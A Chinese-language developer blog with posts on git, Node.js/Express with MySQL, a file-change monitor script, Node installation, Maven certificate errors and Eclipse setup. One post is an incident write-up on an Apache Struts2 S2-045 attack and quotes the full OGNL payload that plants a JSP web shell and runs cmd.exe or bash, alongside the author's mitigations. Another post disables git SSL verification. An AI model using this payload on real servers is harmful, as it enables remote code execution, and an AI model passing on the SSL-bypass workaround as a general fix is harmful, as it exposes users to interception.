發表於 工具

git指令-使用github

申請好了https://github.com/帳號,

也建立了repository : nodejs,要如何將新編寫的程式檔放到github,

一開始執行

git clone https://github.com/%5Bgithub帳號%5D/nodejs.git

但出現錯誤訊息

[fatal: unable to access 'https://github.com/[github帳號]/nodejs.git': SSL certificate problem: self signed certificate in certificate chain].

後來找到可以加上-c http.sslVerify=false以略過ssl檢核,

指令如下

1.git -c http.sslVerify=false clone https://github.com/[github帳號]/nodejs.git

2.git add diff_file.js

3.git commit -m "Add diff_file"

4.git push -u origin master

5.git remote add origin https://github.com/[github帳號]/nodejs.git

其中master為brach。

發表於 程式分享

nodejs MVC框架express使用mysql範例

1.安裝框架express

請參考nodejs MVC網站框架express安裝及demo

2.建立專案

express -e express-mysql

cd express-mysql

npm install -g mysql –verbose

mpm install

3.原始碼:https://github.com/yahuihuang/nodejs/tree/master/express-mysql

4.建立Mysql Table

DROP TABLE IF EXISTS JBContact;

CREATE TABLE JBContact (
  seqNo int(10) NOT NULL AUTO_INCREMENT COMMENT '流水號',
  userId varchar(20) NOT NULL default '' COMMENT '使用者代碼',
  cKind int(1) unsigned NOT NULL default '1' COMMENT '聯絡類型 1=email 2=mobile no',
  contact varchar(50) default '' COMMENT '聯絡內容 ckind=1:填email ckind=2:填mobile no',
  remark varchar(50) default '' COMMENT '備註',
  ModifyTime datetime NOT NULL COMMENT '修改時間:時間格式YYYY-MM-DD HH:MM:SS.SSS',
  ModifyEmp varchar(8) NOT NULL COMMENT '修改人員:員工編號',  
  PRIMARY KEY (seqNo)
) COMMENT='使用者聯絡資訊檔';

5.app.js

var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');

var routes = require('./routes/index');
var users = require('./routes/users');

// DataBase 
var mysql = require("mysql");

var con = mysql.createConnection({
    host: 'xxxx',
    user: 'xxxx',
    password: 'xxxx',
    database: 'xxxx',
    insecureAuth: true
});

con.connect(function(err) {
    if (err) {
        console.log('connecting error');
        return;
    }
    console.log('connecting success');
});

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

// DB連線
app.use(function(req, res, next) {
    req.con = con;
    next();
});

app.use('/', routes);
app.use('/users', users);


// 404頁面
app.use(function(req, res, next) {
    var err = new Error('Not Found');
    err.status = 404;
    next(err);
});

// 錯誤處理
if (app.get('env') === 'development') {
    app.use(function(err, req, res, next) {
        res.status(err.status || 500);
        res.render('error', {
            message: err.message,
            error: err
        });
    });
}

app.use(function(err, req, res, next) {
    res.status(err.status || 500);
    res.render('error', {
        message: err.message,
        error: {}
    });
});

module.exports = app;

6.routes/index.js

var express = require('express');
var router = express.Router();

//主頁
router.get('/', function(req, res, next) {
    var db = req.con;
    var data = "";
    var userId = req.query.userId;

    var filter = "";
    if (userId) {
        filter = 'WHERE userId = ?';
    }

    var sql = "SELECT seqNo,userId,cKind,contact,remark,DATE_FORMAT(modifyTime, '%Y-%m-%d %H:%i:%S') as ModifyTime,ModifyEmp " +
              "  FROM JBContact " + filter;
    db.query(sql, userId, function(err, rows) {
        if (err) {
            console.log(err);
        }
        var data = rows;

        res.render('index', { title: '帳號清單', data: data, userId: userId });
    });
});

//新增帳號-1
router.get('/add', function(req, res, next) {

    // use userAdd.ejs
    res.render('userAdd', { title: '新增帳號'});
});

//新增帳號-2
router.post('/userAdd', function(req, res, next) {

    var db = req.con;

    var sql = {
        userId: req.body.userId,
        cKind: req.body.cKind,
        contact: req.body.contact,
        remark: req.body.remark,
        modifyTime: new Date(),
        modifyEmp: 'J1040083'
    };

    //console.log(sql);
    var qur = db.query('INSERT INTO JBContact SET ?', sql, function(err, rows) {
        if (err) {
            console.log(err);
        }
        res.setHeader('Content-Type', 'application/json');
        res.redirect('/');
    });

});

//修改帳號-1 : 查詢明細
router.get('/userEdit', function(req, res, next) {
    var seqNo = req.query.seqNo;
    var db = req.con;
    var data = "";

    db.query('SELECT * FROM JBContact WHERE seqNo = ?', seqNo, function(err, rows) {
        if (err) {
            console.log(err);
        }

        var data = rows;
        res.render('userEdit', { title: '帳號編輯', data: data });
    });

});

//修改帳號-2
router.post('/userEdit', function(req, res, next) {
    var db = req.con;
    var seqNo = req.body.seqNo;

    var sql = {
        userId: req.body.userId,
        cKind: req.body.cKind,
        contact: req.body.contact,
        remark: req.body.remark,
        modifyTime: new Date(),
        modifyEmp: 'J1040083'
    };

    var qur = db.query('UPDATE JBContact SET ? WHERE seqNo = ?', [sql, seqNo], function(err, rows) {
        if (err) {
            console.log(err);
        }

        res.setHeader('Content-Type', 'application/json');
        res.redirect('/');
    });

});

//刪除帳號
router.get('/userDelete', function(req, res, next) {
    var seqNo = req.query.seqNo;
    var db = req.con;

    var qur = db.query('DELETE FROM JBContact WHERE seqNo = ?', seqNo, function(err, rows) {
        if (err) {
            console.log(err);
        }
        res.redirect('/');
    });
});

module.exports = router;

7.views/index.ejs

8.views/userAdd.ejs

9.views/userEdit.ejs

8.執行指令
npm start
使用瀏覽器查看 : http://localhost:3000/

發表於 程式分享

nodejs MVC網站框架express安裝及demo

參考網站: http://expressjs.com/

安裝流程如下:

1.npm install -g express-generator@4

2.建立專案 express-test

express -e express-test

3.cd express-test

4.npm install

5.啟動網站服務(預設port : 3000)

npm start

6.使用流覽器開啟 http://localhost:3000/

發表於 程式分享

使用nodejs,比對檔案大小及異動日期,若有異動則透過http上傳通知

1.執行指令

node diff_file.js [path/to/directory]  [fileIdx]
Ex.node diff_file.js D:\GWork\04_UAT 1

2.執行後,若有遇到找不到  xxxx modules,請執行

npm install xxxx --verbose

3.執行後會產生log_[yyyy-mm-dd]_[fileIdx].txt (PS.yyyy-mm-dd為系統日),

並與前一日的檔案比較,若有異動,則傳送指定的http request做通知用。

4.node.js檔案,檔名diff_file.js

var fs = require('fs');

//0.設定值
var error_hostname = 'xxx.xxx.xxx.xxx';  //請記得調整

//1.傳入參數
if (process.argv.length <= 3) {
 console.log("Usage: " + __filename + " path/to/directory fileIdx");
 process.exit(-1);
}
var searchpath = process.argv[2];
var fileIdx = process.argv[3];

//2.取得日期及檔案
require('x-date') ;
var todayStr = new Date().format('yyyy-mm-dd');
var todayFile = 'log_' + todayStr + '_' + fileIdx + '.txt';
console.log('今日: ' + todayStr + ' => ' + todayFile);
var yesday = new Date();
yesday.setDate(yesday.getDate() - 1); // Yesterday!
var yesdayStr = yesday.format('yyyy-mm-dd')
console.log(yesdayStr);
var yesdayFile = 'log_' + yesdayStr + '_' + fileIdx + '.txt';
console.log('昨日: ' + yesdayStr + ' => ' + yesdayFile);

//3.主流程
gen_today_file();

/*產生比對檔*/
function gen_today_file() { 
    var walk = function(dir, done) {
        var results = [];
        fs.readdir(dir, function(err, list) {
            if (err) return done(err);
            var i = 0;
            (function next() {
                var file = list[i++];
                if (!file) return done(null, results);
                file = dir + '/' + file;
                fs.stat(file, function(err, stat) {
                    if (stat && stat.isDirectory()) {
                        walk(file, function(err, res) {
                            results = results.concat(res);
                            next();
                        });
                    } else {
                        results.push(file);
                        next();
                    }
                });
            })();
        });
    };

    var logStream = fs.createWriteStream(todayFile, {'flags': 'w'}); 
    logStream.on('open', function () {
        walk(searchpath, function(err, files) {
            if (err) 
                throw err;

            for (var fileIdx in files) {
                var stats = fs.statSync(files[fileIdx]);
                var buffer = files[fileIdx] + ',' +        
                                stats["size"] + ',' +
                                stats["atime"] + ',' + 
                                stats["mtime"] + ',' +
                                stats["ctime"] + ',' +
                                stats["uid"] + ',' + 
                                stats["gid"] + ',' +
                                (stats["mode"] & 0040000 ? 'd' : '-') +
                                (stats["mode"] & 400 ? 'r' : '-') + (stats["mode"] & 200 ? 'w' : '-') + (stats["mode"] & 100 ? 'x' : '-') +
                                (stats["mode"] & 40 ? 'r' : '-') + (stats["mode"] & 20 ? 'w' : '-') + (stats["mode"] & 10 ? 'x' : '-') +
                                (stats["mode"] & 4 ? 'r' : '-') + (stats["mode"] & 2 ? 'w' : '-') + (stats["mode"] & 1 ? 'x' : '-') + '\n';
                fs.appendFileSync(todayFile, buffer);
                logStream.write(buffer);
            }
            logStream.end();
        });
    }).on('error', function (err) {
        console.log('file has error: ' + err);
    }).on('finish', function () {
        console.log('file has been written');
        
        var identical = compare_file();
        send_error(identical);
    });
}

/*比對檔案*/
function compare_file() {
    var source = "";
    var target = "";

    try {
        source = fs.readFileSync(yesdayFile, 'utf8');
    } catch(e) {
        console.error("error reading " + yesdayFile + ": " + e.message);
        return false;
    }

    try {
        target = fs.readFileSync(todayFile, 'utf8');
    } catch(e) {
        console.error("error reading " + todayFile + ": " + e.message);
        return false;
    }

    var diff = require('diff');
    var results = diff.diffLines(source, target);
    var identical = true;

    results.forEach(function(part) {
      if(part.added) {
        console.log("added:   " + part.value);
        identical = false;
      }
      if(part.removed) {
        console.log("removed: " + part.value);
        identical = false;
      }
    });
    
    console.log("Identical? " + identical);
    return identical;
}

/*傳送錯誤訊息*/
function send_error(identical) {
    if (identical == false) {
        var http = require('http');
        var querystring = require("querystring");
        var keyWordVal = yesdayFile + ' vs. ' + todayFile + ' 不一致.';
        //Post內容,依server程式調整
        var postData = querystring.stringify({
            'kind' : 9 , 'keyWord' : keyWordVal
        });
        console.log('postData: ' + postData);
        var options = {
            hostname: error_hostname,
            port: 80,
            path: '/warrantweb/Analysis.action', //請自行寫server程式串接
            method: 'POST',
            headers:{
                "Content-Length":postData.length,
                "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",        
            }
        };

        var req = http.request(options, function(res) {
            console.log('STATUS: ' + res.statusCode);
            console.log('HEADERS: ' + JSON.stringify(res.headers));
            res.setEncoding('utf8');
            res.on('data', function (chunk) {
                console.log('BODY: ' + chunk);
            });
        });

        req.on('error', function(e) {
          console.log('problem with request: ' + e.message);
        });

        // write data to request body
        req.write(postData);
        req.end();
    }
}

4.執行結果

1.PNG

5.Linux設定cron

30      16       *       *       *      cd /root/grace/;/opt/nodejs/bin/node diff_file.js /usr/share/apache-tomcat-7.0.61/webapps/warrantweb 1 >> /root/grace/log.txt 2>&1
發表於 程式分享

redHat安裝nodeJS遇到之問題

在redHat安裝nodeJS,依網路上的指示

tar zxf node-v7.7.3.tar.gz
cd node-v7.7.3

./configure
make && make install

但在configure時即遇到error,經查是python版本過舊,
但換成python 3也不行,後來換成python 2.7.9,
指令如下

wget https://www.python.org/ftp/python/2.7.9/Python-2.7.9.tgz
tar zxf Python-2.7.9.tgz
cd Python-2.7.9
./configure --prefix=/usr/local
make && make install

後再執行node install的make出現

WARNING: C++ compiler too old, need g++ 4.8 or clang++ 3.4 (CXX=g++)
wget http://gcc.skazkaforyou.com/releases/gcc-4.8.2/gcc-4.8.2.tar.gz;
tar -zxvf gcc-4.8.2.tar.gz
cd gcc-4.8.2
mkdir build
cd build
yum install gmp-devel mpfr-devel libmpc-devel
../configure --prefix=/usr
make && make install

但出現太多error,最後決定放棄,直接用binary檔安裝,指令如下

wget https://nodejs.org/dist/latest/node-v7.7.3-linux-x86.tar.gz
tar -zvxf node-v7.7.3-linux-x86.tar.gz
mv node-v7.7.3-linux-x86 nodejs
mv nodejs /opt

再,編寫profile檔
vi /etc/profile,於檔尾加入如下

export NODE_HOME=/opt/nodejs
export PATH=$PATH:$NODE_HOME/bin
export NODE_PATH=$NODE_HOME/lib/node_modules

source /etc/profile

最後
node -v
可看到版號,即安裝完成

發表於 程式分享

Apache Struts2 S2-045漏洞處理方法

前幾日收到Apache Struts2 S2-045漏洞通知,因其說明如下∶ “使用Struts 2.3.5 、Struts 2.3.31、Struts 2.5~Struts 2.5.10等網站框架的伺服器,都受到駭客可以直接進行遠端執行程式的S2-045漏洞編號影響,可以導致網站資料外洩、被植入木馬程式等風險",而我使用的是2.3.24.1,故當下未太過在意,沒想到網站竟然被攻擊了,看來以後看到重大漏洞,還是需要仔細研究測試才保險。

一開始是同事的系統收到掃毒軟體病毒通知,發現Tomcat Server被植入病毒檔案,我去查我負責的Linux的Tomcat也發現被植入檔案,查看了Tomcat access log也未發現異常的request (以往查到的都是透過HTTP GET指令帶參數,總能由上傳檔案的日期時間比對access log看出端倪),後來只好由被植入的檔案時間查看log4j的log檔,但我並未看到當時有何error,但往前來卻看到了Exception log,然後查到有commons-fileupload-1.3.1.jar的Exception,看起來像是上傳檔案,但我在access log並未看到,其內容有如下訊息∶

%{(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#dns=’multipart/form-data’).(#cache=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#cache):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#cache)))).(#path=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’).getSession().getServletContext().getRealPath(‘/’)).(#shell='<%if(request.getParameter(“f")!=null)(new java.io.FileOutputStream(application.getRealPath(“/")+request.getParameter(“f"))).write(request.getParameter(“t").getBytes());%>’).(new java.io.BufferedWriter(new java.io.FileWriter(#path+’/thes.jsp‘).append(#shell)).close()).(#cmd=’echo Upload successful!’+#path+’/thes.jsp‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash‘,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

google後發現這就是Apache Struts2 S2-045漏洞攻擊,在HTTP header的參數Content-Type放入如上指令struts收到後就會執行如上OGNL表達式指令,上面的指令會在tomcat application目錄下產生thes.jsp執行平台上的cmd.exe(Windows)或bash shell(Linux),最後透過類似的指令可能一層層再後將病毒檔上傳至Server。

因為我並未使用檔案上傳,故我的第一個想法:移除commons-fileupload-1.3.1.jar,讓其不要執行OGNL (我也未使用此表達式)~當時,倒是未想到停用表達式的作法~但此法連Tomcat都啟動不了~

第二個想法就想停用fileupload功能,但並未找到。

第三個想法就是將fileupload可上傳檔案最大 size設定為0,上傳檔案類型設定為空。

此方式設定後,駭客就攻擊失敗了。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC 
 "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 
 "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
 <constant name="struts.multipart.maxSize" value="0" />
 ...

 <interceptor-ref name="fileUpload">
 <param name="allowedTypes">text/plain</param>
 </interceptor-ref> 
</struts>

後來我就先在測試機升級struts至2.3.32,但網站有些錯誤,查到因action class的欄位變數第1碼是小寫、第2碼大寫getSId()、setSId()會失效,需改成getsId()、setsId()。

@Entity
@Table(name = "TestTbl")
public class TestTbl implements Serializable {
 @Id
 @GeneratedValue(strategy = GenerationType.IDENTITY)
 @Column(name = "sId")
 protected int sId;

 public int getSId() {
 return sId;
 }

 public void setSId(int sId) {
 this.sId = sId;
 }
...
}

我同事因有檔案上傳功能,而且有交易,既不能將上傳檔案最大 size設定為0,也無法當天馬上升級struts至2.3.32,只好試strus.xml設定allowedTypes,但駭客仍然可以用Content Type攻擊,後來參考https://www.waitalone.cn/struts2-045-fix.html加入filter判斷,因當下無法全部確認整個網站用了那些file type,所以調整成判斷Content Type文字長度大於100為非法,但網站上傳的功能就失效,後來只好判斷Content Type的內容了~

發表於 程式分享

maven執行時出現PKIX path building failed的解法

在公司執行mvn install出現PKIX path building failed for https://repo.maven.apache.org (如下圖),終於找到解法,如下說明:

1.PNG

1.下載InstallCert.java並編譯

https://github.com/escline/InstallCert/blob/master/InstallCert.java

2.執行有錯誤

java InstallCert repo.maven.apache.org:443

2-1.PNG

2-2.PNG

請在Enter certificate to add to trusted keystore or ‘q’ to quit: [1]

請直接按Enter

2-3.PNG

2-4.PNG

3.將產生的憑證檔案jssecacerts放到jave runtime的lib/security目錄下

3.PNG

若有多個Java runtime,請確認maven執行時是用那個Java~

4.再次執行已能找到憑證,再次執行maven install…,已正確執行

java InstallCert repo.maven.apache.org:443

4.PNG

補充: IntelliJ IDEA build 專案出現如下錯誤訊息"PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target",原因是"沒辦法自動向INTERNET DLP (個資外洩偵測,上網流量會導入 DLP過濾) 設備要求憑證",解法如下

1.手動將該憑證匯入cacerts

C:\Program Files\Android\Android Studio\jre\lib\security>keytool -import -file E:\IK-CA.der -keystore cacerts -alias GlobalTrust

密碼: changeit
2.gradle.properties加上以下兩行

systemProp.javax.net.ssl.trustStore=C:/Program Files/Android/Android Studio/jre/lib/security/cacerts
systemProp.javax.net.ssl.trustStorePassword=changeit

發表於 程式分享

Eclipse開發CXF Web Service – Server 及 Client

Eclipse開發CXF Web Service – Server 及 Client之開發流程詳述如下檔案,請參考:
Eclipse_CXFServer__Client

發表於 程式分享

Eclipse中設定CXF 2.0 Library

1.下載cxf : http://cxf.apache.org/download.html

1

2.解壓縮至某路徑

2.PNG

3.Eclipse => Window => Preferences

=> Web Services => CXF 2.x Preferences => Click “Add…" Button

=> CXF home : Click “Browse…" Button,輸入步驟2路徑,

會自動帶出Version 及 Type

3.PNG

4.請記得勾選Version及確認Export runtime libraries…有被勾選,

Click “OK" Button

4.PNG

5.將此Library加入Project

Package Explorer => Click Project 右鍵 => Properties => Java Build Path

=> Tab “Libraries" => Click “Add Library…" Button

=> 選取"CXF Runtime" => Click “OK" Button

5.PNG

6.設定後如下圖:

6.PNG

7.CXF Library於Project顯示

7.PNG

 

發表於 程式分享

Eclipse / Java Build Path / Add Variable

以新增Spring Libary至Java Project來說明

1.將spring jar檔放在某個路徑

1

2.Eclipse => Window => Preferences

=> Java => Build Path => Classpath Variable => Click “New…" Button

=> Name: SPING_LIB

PATH => Click “Folder…" Button,選步驟1之檔案路徑

2

3.設定後如下圖:

3

4.將此變數加入Java Build Path

Package Explorer => Click Project 右鍵 => Properties => Java Build Path

=> Tab “Libraries" => Click “Add Variable…" Button

=> 選取"SPRING_LIB" => Click “OK" Button

4

5.設定後如下圖:

5

6.Spring Library於Project顯示

6